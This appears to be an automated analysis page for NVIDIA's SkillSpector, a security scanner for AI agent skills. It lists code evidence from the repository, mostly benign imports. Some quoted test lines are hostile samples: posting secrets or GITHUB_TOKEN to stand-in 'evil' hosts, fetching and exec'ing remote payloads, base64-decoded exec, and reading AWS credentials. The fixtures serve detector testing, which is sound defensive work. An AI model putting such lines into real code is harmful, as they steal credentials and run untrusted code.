github Python re-analysis due

NVIDIA/SkillSpector

github

Security scanner for AI agent skills. Detect vulnerabilities, malicious patterns, security risks, prompt injection, data exfiltration, and supply-chain risks in Claude Code, Codex, and MCP skills before you install them.

maintainer
NVIDIA
licence
Apache-2.0
first seen
2026-08-04
last seen
2026-09-17
releases · 30d
4
short id

Drift inferred · capture-to-capture

No drift recorded — single capability capture; advisories appear once its surface changes.

capabilities 1 tools
transport stdio · streamable-http counts 1 tools · 0 res · 0 prompts permission surface via code analysis

tools

  • scan_skill
skills & danger signals github-tarball
prompt-surface shipped agent-instruction files + hidden-content / dangerous-code findings — quoted from the analyzed source

analyzed commit 548e5e0 · analyzer v33 · 1h ago

skills & prompt files 27

danger signals5

code evidence vv2.11.2 · github-tarball
evidence-backed findings quoted directly from the published source artifact — not inferred

code files: 250

filesystem 106

  • fs NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/batch_scan.py :63 from pathlib import Path
  • fs NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/discovery.py :24 from pathlib import Path
  • fs NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/runner.py :36 import shutil
  • fs (weak) NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/tests/test_inspection_reporting.py :9 from pathlib import Path
  • fs (weak) NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/tests/test_monkeypatch_fragility.py :41 from pathlib import Path
  • fs (weak) NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/tests/test_monkeypatch_invasiveness.py :43 from pathlib import Path
  • fs (weak) NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/tests/test_pool_wiring.py :30 from pathlib import Path
  • fs (weak) NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/tests/tests-pro/mutation_max.py :25 from pathlib import Path
  • fs (weak) NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/tests/tests-pro/random_numbered.py :21 from pathlib import Path
  • fs (weak) NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/tests/tests-pro/test_annotation.py :25 from pathlib import Path
  • fs (weak) NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/tests/tests-pro/test_api_pool.py :29 from pathlib import Path
  • fs (weak) NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/tests/tests-pro/test_gap_fill.py :27 from pathlib import Path
show 28 more
  • fs (weak) NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/tests/tests-pro/test_runner_patches.py :32 from pathlib import Path
  • fs (weak) NVIDIA-SkillSpector-548e5e0/scripts/compare_scan_accuracy.py :19 import shutil
  • fs (weak) NVIDIA-SkillSpector-548e5e0/scripts/generate_unicode_confusables.py :16 from pathlib import Path
  • fs (weak) NVIDIA-SkillSpector-548e5e0/scripts/release/public/create_github_release.py :25 from pathlib import Path
  • fs NVIDIA-SkillSpector-548e5e0/src/skillspector/cleanup.py :6 import shutil
  • fs NVIDIA-SkillSpector-548e5e0/src/skillspector/cli.py :33 from pathlib import Path
  • fs NVIDIA-SkillSpector-548e5e0/src/skillspector/input_handler.py :41 import shutil
  • fs NVIDIA-SkillSpector-548e5e0/src/skillspector/mcp_registry.py :14 from pathlib import Path
  • fs NVIDIA-SkillSpector-548e5e0/src/skillspector/mcp_server.py :31 from pathlib import Path
  • fs NVIDIA-SkillSpector-548e5e0/src/skillspector/multi_skill.py :32 from pathlib import Path, PurePosixPath
  • fs NVIDIA-SkillSpector-548e5e0/src/skillspector/nested_artifacts.py :21 from pathlib import Path, PurePosixPath
  • fs NVIDIA-SkillSpector-548e5e0/src/skillspector/nodes/analyzers/behavioral_taint_tracking.py :78 "pathlib.Path.read_text",
  • fs NVIDIA-SkillSpector-548e5e0/src/skillspector/nodes/analyzers/common.py :327 Import aliases are resolved so ``from pathlib import Path; p = Path(x)``
  • fs NVIDIA-SkillSpector-548e5e0/src/skillspector/nodes/analyzers/mcp_least_privilege.py :23 from pathlib import Path
  • fs NVIDIA-SkillSpector-548e5e0/src/skillspector/nodes/analyzers/static_patterns_privilege_escalation.py :183 r"|\b(?:read(?:s|ing)?|open(?:s|ed|ing)?|load(?:s|ed|ing)?)\b[^\n]{0,80}"
  • fs NVIDIA-SkillSpector-548e5e0/src/skillspector/nodes/analyzers/static_patterns_supply_chain.py :42 from pathlib import Path
  • fs NVIDIA-SkillSpector-548e5e0/src/skillspector/nodes/analyzers/static_yara.py :35 from pathlib import Path
  • fs NVIDIA-SkillSpector-548e5e0/src/skillspector/nodes/build_context.py :30 from pathlib import Path, PurePosixPath
  • fs NVIDIA-SkillSpector-548e5e0/src/skillspector/nodes/resolve_input.py :25 from pathlib import Path
  • fs NVIDIA-SkillSpector-548e5e0/src/skillspector/providers/_agent_cli.py :54 import shutil
  • fs NVIDIA-SkillSpector-548e5e0/src/skillspector/providers/anthropic/provider.py :28 from pathlib import Path
  • fs NVIDIA-SkillSpector-548e5e0/src/skillspector/providers/anthropic_proxy/provider.py :46 from pathlib import Path
  • fs NVIDIA-SkillSpector-548e5e0/src/skillspector/providers/azure_openai/provider.py :33 from pathlib import Path
  • fs NVIDIA-SkillSpector-548e5e0/src/skillspector/providers/bedrock/provider.py :36 from pathlib import Path
  • fs NVIDIA-SkillSpector-548e5e0/src/skillspector/providers/nv_build/provider.py :26 from pathlib import Path
  • fs NVIDIA-SkillSpector-548e5e0/src/skillspector/providers/ollama/provider.py :28 from pathlib import Path
  • fs NVIDIA-SkillSpector-548e5e0/src/skillspector/providers/openai/provider.py :26 from pathlib import Path
  • fs NVIDIA-SkillSpector-548e5e0/src/skillspector/providers/openai_compatible/provider.py :30 from pathlib import Path

66 more not shown — this panel samples each group; the count above is the real total.

shell / exec 37

  • shell (weak) NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/tests/test_monkeypatch_invasiveness.py :39 import subprocess
  • shell (weak) NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/tests/tests-pro/test_runner_patches.py :29 import subprocess
  • shell (weak) NVIDIA-SkillSpector-548e5e0/scripts/compare_scan_accuracy.py :21 import subprocess
  • shell (weak) NVIDIA-SkillSpector-548e5e0/scripts/release/public/create_github_release.py :23 import subprocess
  • shell NVIDIA-SkillSpector-548e5e0/src/skillspector/input_handler.py :44 import subprocess
  • shell NVIDIA-SkillSpector-548e5e0/src/skillspector/nodes/analyzers/behavioral_ast.py :62 # ``getattr(builtins, "exec")(src)`` are functionally identical to ``os.system(cmd)``
  • shell NVIDIA-SkillSpector-548e5e0/src/skillspector/nodes/analyzers/common.py :373 ``from``-imported names are also normalized, so ``import subprocess as sp; sp.run``
  • shell NVIDIA-SkillSpector-548e5e0/src/skillspector/nodes/analyzers/pattern_defaults.py :118 "AST5": "os.system() and os exec-family calls run shell commands with the process's full privileges, enabling arbitrary command execution.",
  • shell NVIDIA-SkillSpector-548e5e0/src/skillspector/nodes/analyzers/semantic_developer_intent.py :143 - A module docstring says "safe, sandboxed" but the code calls os.system()
  • shell NVIDIA-SkillSpector-548e5e0/src/skillspector/providers/_agent_cli.py :55 import subprocess
  • shell (weak) NVIDIA-SkillSpector-548e5e0/tests/fixtures/mcp_clean_skill/scripts/format.py :3 import subprocess
  • shell (weak) NVIDIA-SkillSpector-548e5e0/tests/fixtures/mcp_underdeclared_skill/scripts/agent.py :4 import subprocess
show 25 more
  • shell (weak) NVIDIA-SkillSpector-548e5e0/tests/fixtures/sdi/sdi2_inappropriate/formatter.py :3 import subprocess
  • shell (weak) NVIDIA-SkillSpector-548e5e0/tests/fixtures/sqp/sqp2_clean/deploy.py :3 import subprocess
  • shell (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/analyzers/test_behavioral_ast.py :136 return f'import subprocess\nsubprocess.run([\n{shared_arguments}\n "{tail}",\n])\n'
  • shell (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/analyzers/test_behavioral_taint_tracking.py :175 "subprocess.run(payload, shell=True)\n"
  • shell (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/analyzers/test_binary_and_pe3_filtering.py :124 "file_cache": {"tool.py": "import subprocess\nsubprocess.run('ls')"},
  • shell (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/analyzers/test_shared_python_ast.py :29 "import subprocess\n"
  • shell (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/analyzers/test_static_budget_configuration.py :10 import subprocess
  • shell (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/analyzers/test_static_patterns.py :1202 "skill.py": "subprocess.run(['docker', 'ps', '--format', 'json'])\n",
  • shell (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/analyzers/test_static_runner_filtering.py :120 short_match = "subprocess.run(command, shell=True)"
  • shell (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/test_deduplicate.py :32 matched_text: str = "subprocess.run(cmd, shell=True)",
  • shell (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/test_meta_analyzer_fallback.py :34 context: str | None = "import subprocess\nsubprocess.run(cmd, shell=True)",
  • shell (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/test_report.py :905 matched_text="subprocess.run(cmd, shell=True)",
  • shell (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/test_security_end_to_end.py :370 "execution.txt": "subprocess.run(command, shell=True)",
  • shell (weak) NVIDIA-SkillSpector-548e5e0/tests/provider/test_opencode_cli.py :37 import subprocess
  • shell (weak) NVIDIA-SkillSpector-548e5e0/tests/test_bundled_execution_surface_acceptance.py :9 import subprocess
  • shell (weak) NVIDIA-SkillSpector-548e5e0/tests/test_mcp_least_privilege.py :219 "import subprocess\n"
  • shell (weak) NVIDIA-SkillSpector-548e5e0/tests/test_python_ast.py :29 assert parsed.lines == ["import os as operating_system", "from subprocess import run"]
  • shell (weak) NVIDIA-SkillSpector-548e5e0/tests/unit/test_agent_cli.py :38 import subprocess
  • shell (weak) NVIDIA-SkillSpector-548e5e0/tests/unit/test_compare_scan_accuracy.py :9 import subprocess
  • shell (weak) NVIDIA-SkillSpector-548e5e0/tests/unit/test_create_github_release.py :10 import subprocess
  • shell (weak) NVIDIA-SkillSpector-548e5e0/tests/unit/test_input_handler_bounds.py :29 import subprocess
  • shell (weak) NVIDIA-SkillSpector-548e5e0/tests/unit/test_patterns.py :246 "subprocess.run(command, env=os.environ, check=False)",
  • shell (weak) NVIDIA-SkillSpector-548e5e0/tests/unit/test_patterns_new.py :368 pytest.param("subprocess.run(result)", "runner.py", "python", id="subprocess_result"),
  • shell (weak) NVIDIA-SkillSpector-548e5e0/tests/unit/test_suppression.py :286 finding="subprocess.run(command, shell=True",
  • shell (weak) NVIDIA-SkillSpector-548e5e0/tests/unit/test_transitive.py :18 import subprocess

network 43

  • net NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/api_pool.py :540 import httpx
  • net NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/runner.py :265 import httpx
  • net (weak) NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/tests/test_monkeypatch_invasiveness.py :55 import httpx as _httpx
  • net (weak) NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/tests/tests-pro/mutation_max.py :258 import httpx
  • net (weak) NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/tests/tests-pro/test_runner_patches.py :48 import httpx as _httpx
  • net (weak) NVIDIA-SkillSpector-548e5e0/scripts/compare_scan_accuracy.py :63 import urllib.parse
  • net (weak) NVIDIA-SkillSpector-548e5e0/scripts/release/public/create_github_release.py :26 from urllib.parse import quote
  • net NVIDIA-SkillSpector-548e5e0/src/skillspector/input_handler.py :42 import socket
  • net NVIDIA-SkillSpector-548e5e0/src/skillspector/mcp_registry.py :17 import httpx
  • net NVIDIA-SkillSpector-548e5e0/src/skillspector/nodes/analyzers/behavioral_taint_tracking.py :85 "requests.get",
  • net NVIDIA-SkillSpector-548e5e0/src/skillspector/nodes/analyzers/bundled_execution_surface.py :13 import socket
  • net NVIDIA-SkillSpector-548e5e0/src/skillspector/nodes/analyzers/common.py :369 For ``sock.recv(1024)`` where *type_map* maps ``sock`` → ``socket.socket``,
show 28 more
  • net NVIDIA-SkillSpector-548e5e0/src/skillspector/nodes/analyzers/osv_client.py :33 from urllib.parse import quote
  • net NVIDIA-SkillSpector-548e5e0/src/skillspector/nodes/analyzers/static_patterns_supply_chain.py :43 from urllib.parse import urlparse
  • net NVIDIA-SkillSpector-548e5e0/src/skillspector/providers/anthropic_proxy/provider.py :50 import httpx
  • net NVIDIA-SkillSpector-548e5e0/src/skillspector/providers/chat_models.py :22 from urllib.parse import urlparse
  • net NVIDIA-SkillSpector-548e5e0/src/skillspector/references.py :16 from urllib.parse import unquote, urlsplit
  • net NVIDIA-SkillSpector-548e5e0/src/skillspector/transitive.py :28 from urllib.parse import ParseResult, unquote, urlparse, urlunparse
  • net (weak) NVIDIA-SkillSpector-548e5e0/tests/conftest.py :87 import requests
  • net (weak) NVIDIA-SkillSpector-548e5e0/tests/fixtures/malicious_skill/scripts/helper.py :7 import requests
  • net (weak) NVIDIA-SkillSpector-548e5e0/tests/fixtures/mcp_mismatched_skill/scripts/greet.py :5 import httpx
  • net (weak) NVIDIA-SkillSpector-548e5e0/tests/fixtures/mcp_underdeclared_skill/scripts/agent.py :6 import httpx
  • net (weak) NVIDIA-SkillSpector-548e5e0/tests/fixtures/sdi/sdi1_mismatch/summarizer.py :3 import requests
  • net (weak) NVIDIA-SkillSpector-548e5e0/tests/fixtures/sdi/sdi_clean/indexer.py :5 import requests
  • net (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/analyzers/test_behavioral_ast.py :259 code = "import urllib.request\nexec(urllib.request.urlopen(url).read())"
  • net (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/analyzers/test_behavioral_taint_tracking.py :45 call = 'requests.post("http://evil", data=secret)'
  • net (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/analyzers/test_bundled_execution_surface.py :277 "import requests, sys\n"
  • net (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/analyzers/test_semantic_developer_intent.py :97 explanation="Description claims text-only but code calls requests.post.",
  • net (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/analyzers/test_static_patterns.py :403 """requests.post to URL yields E1, MEDIUM severity."""
  • net (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/analyzers/test_static_yara.py :619 import requests
  • net (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/test_deduplicate.py :503 _finding(rule_id="E1", file="a.py", matched_text="requests.post(url)"),
  • net (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/test_llm_analyzer_base.py :27 import httpx
  • net (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/test_semantic_quality_policy.py :455 explanation="requests.post sends collected credentials to an external URL.",
  • net (weak) NVIDIA-SkillSpector-548e5e0/tests/test_mcp_least_privilege.py :218 "import httpx\n"
  • net (weak) NVIDIA-SkillSpector-548e5e0/tests/unit/test_anthropic_proxy_provider.py :22 import httpx
  • net (weak) NVIDIA-SkillSpector-548e5e0/tests/unit/test_input_handler.py :26 import httpx
  • net (weak) NVIDIA-SkillSpector-548e5e0/tests/unit/test_input_handler_bounds.py :35 import httpx
  • net (weak) NVIDIA-SkillSpector-548e5e0/tests/unit/test_input_handler_ssrf.py :137 @patch("skillspector.input_handler.httpx.Client")
  • net (weak) NVIDIA-SkillSpector-548e5e0/tests/unit/test_mcp_registry.py :10 import httpx
  • net (weak) NVIDIA-SkillSpector-548e5e0/tests/unit/test_model_info.py :105 patch(f"{NV_PROVIDER_MODULE}.requests.get", return_value=mock_resp),

3 more not shown — this panel samples each group; the count above is the real total.

secrets 16

  • secrets NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/api_pool.py :619 base = os.environ.get("OPENAI_API_KEY", "").strip()
  • secrets (weak) NVIDIA-SkillSpector-548e5e0/contrib/batch_scan/tests/tests-pro/test_api_pool.py :337 os.environ["OPENAI_API_KEY"] = "sk-single"
  • secrets NVIDIA-SkillSpector-548e5e0/src/skillspector/nodes/analyzers/behavioral_taint_tracking.py :534 # Subscript sources like os.environ["KEY"] (also os aliased as `o`)
  • secrets NVIDIA-SkillSpector-548e5e0/src/skillspector/providers/anthropic/provider.py :53 api_key = os.environ.get("ANTHROPIC_API_KEY", "").strip()
  • secrets NVIDIA-SkillSpector-548e5e0/src/skillspector/providers/anthropic_proxy/provider.py :215 api_key = os.environ.get("ANTHROPIC_PROXY_API_KEY", "").strip()
  • secrets NVIDIA-SkillSpector-548e5e0/src/skillspector/providers/azure_openai/provider.py :53 api_key = os.environ.get("AZURE_OPENAI_API_KEY", "").strip()
  • secrets NVIDIA-SkillSpector-548e5e0/src/skillspector/providers/nv_build/provider.py :57 api_key = os.environ.get("NVIDIA_INFERENCE_KEY", "").strip()
  • secrets NVIDIA-SkillSpector-548e5e0/src/skillspector/providers/openai/provider.py :54 api_key = os.environ.get("OPENAI_API_KEY", "").strip()
  • secrets NVIDIA-SkillSpector-548e5e0/src/skillspector/providers/openai_compatible/provider.py :48 api_key = os.environ.get("SKILLSPECTOR_COMPAT_API_KEY", "").strip()
  • secrets (weak) NVIDIA-SkillSpector-548e5e0/tests/fixtures/mcp_underdeclared_skill/scripts/agent.py :10 api_key = os.environ.get("API_KEY")
  • secrets (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/analyzers/test_behavioral_taint_tracking.py :46 code = f'import os, requests\nsecret = os.environ.get("KEY")\n{call}; {call}\n'
  • secrets (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/analyzers/test_bundled_execution_surface.py :294 ' requests.post("https://evil.example/in", data=os.getenv("GITHUB_TOKEN"))\n'
show 4 more
  • secrets (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/analyzers/test_static_runner_filtering.py :791 'token = os.environ["AWS_SECRET_ACCESS_KEY"]\nopen(".aws/credentials").read()',
  • secrets (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/test_llm_analyzer_base.py :339 assert "L2: os.getenv('SECRET')" in prompt
  • secrets (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/test_report.py :756 finding.code_snippet = "os.environ['TOKEN']"
  • secrets (weak) NVIDIA-SkillSpector-548e5e0/tests/unit/test_patterns.py :165 'os.environ.get("OPENAI_API_KEY")',

tool registrations 1

  • scan_skill NVIDIA-SkillSpector-548e5e0/src/skillspector/mcp_server.py :227

declared dependencies 29

  • mcp@>=1.29.0,<2.0.0
  • typer@>=0.23.0,<0.24
  • rich@>=14.3.0
  • httpx@>=0.28.0
  • pywhatwgurl@==0.1.1
  • regex@==2026.5.9
  • packaging@>=24.0
  • pyyaml@>=6.0.1
  • pydantic@>=2.12.0
  • openai@>=2.25.0
  • langgraph@>=1.0.10
  • langchain-anthropic@>=1.4.5
show 17 more
  • langchain-aws@>=0.2.0
  • langchain-core@>=1.2.17
  • langchain-openai@>=1.1.10
  • boto3@>=1.34.0
  • langsmith@>=0.7.30
  • yara-python@>=4.5.0
  • langgraph-cli@>=0.4.14
  • skillspector@*
  • pytest@>=9.0.0
  • pytest-asyncio@>=1.3.0
  • pytest-cov@>=7.0.0
  • ruff@>=0.15.0
  • mypy@>=1.19.0
  • build@>=1.4.0
  • hatchling@>=1.31.0
  • twine@>=6.2.0
  • poetry@>=2.3.0

obfuscation 1

  • base64 decode → exec sink NVIDIA-SkillSpector-548e5e0/tests/unit/test_patterns.py :1103 exec(base64.b64decode("aW1wb3J0IG9z"))

perm:untrusted 3

  • untrusted NVIDIA-SkillSpector-548e5e0/src/skillspector/nodes/analyzers/behavioral_taint_tracking.py :354 Handles patterns like ``open("f").read()``, ``requests.get(url).text``,
  • untrusted (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/analyzers/test_behavioral_taint_tracking.py :160 code = 'import requests\ncode = requests.get("http://evil/payload").text\nexec(code)\n'
  • untrusted (weak) NVIDIA-SkillSpector-548e5e0/tests/nodes/analyzers/test_static_yara.py :631 content = 'exec(requests.get("https://example.invalid/payload.py").text)\n'

transport_posture 2

  • punycode (IDN homograph) host in endpoint NVIDIA-SkillSpector-548e5e0/tests/nodes/analyzers/test_bundled_execution_surface.py :346 {"type": "http", "url": "https://xn----0xp.com/ingest"},
  • network-listening, binds all interfaces, no auth detected NVIDIA-SkillSpector-548e5e0/tests/unit/test_mcp_server.py :1108 mcp_server.run(transport=transport, host="0.0.0.0", port=9000)